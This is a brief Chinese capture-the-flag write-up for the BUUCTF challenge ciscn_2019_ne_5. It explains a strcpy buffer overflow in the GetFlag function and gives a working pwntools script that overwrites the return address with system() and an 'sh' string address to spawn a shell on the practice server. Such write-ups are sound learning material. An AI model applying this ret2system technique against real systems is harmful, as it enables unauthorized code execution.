小白垃圾笔记,不及阅读
这道题主要是卡在了寻找/bin/sh
看了大佬的题解后才知道查找sh也可以
┌──(root㉿kali)-[~/Desktop/BUUCTF/ciscn_2019_ne_5]
└─# ROPgadget --binary ./ciscn_2019_ne_5 --string 'sh'
Strings information
============================================================
0x080482ea : sh
溢出点是GetFlag中的strcpy函数。、
他会将src内容给dest。可以将payload写入·src然后复制到dest发生溢出,获取shell。
from pwn import *
debug=0
if debug:
p=process('./ciscn_2019_ne_5')
#p=process('',env={'LD_PRELOAD':'./libc.so'})
context.log_level='debug'
#gdb.attach(p)
else:
p=remote('node4.buuoj.cn',27617)
def ru(x):
return p.recvuntil(x)
def se(x):
p.send(x)
ru(b'password:')
se(b'administrator\n')
ru(b'0.Exit\n:')
se(b'1'+b'\n')
ru(b'Please input new log info:')
system_add=0x080484D0
sh_add=0x080482ea
se(b'b'*0x48+b'a'*4+p32(system_add)+b'a'*4+p32(sh_add)+b'\n')
ru(b'0.Exit\n:')
se(b'4'+b'\n')
p.interactive()
#ROPgadget --binary <binary_file> --only "pop|ret" | grep "pop rdi"
#ROPgadget --binary bin --only "pop|ret"
#ROPgadget --binary ./level2_x64 --only "ret"
#ROPgadget --binary ./ciscn_2019_ne_5 --string 'sh'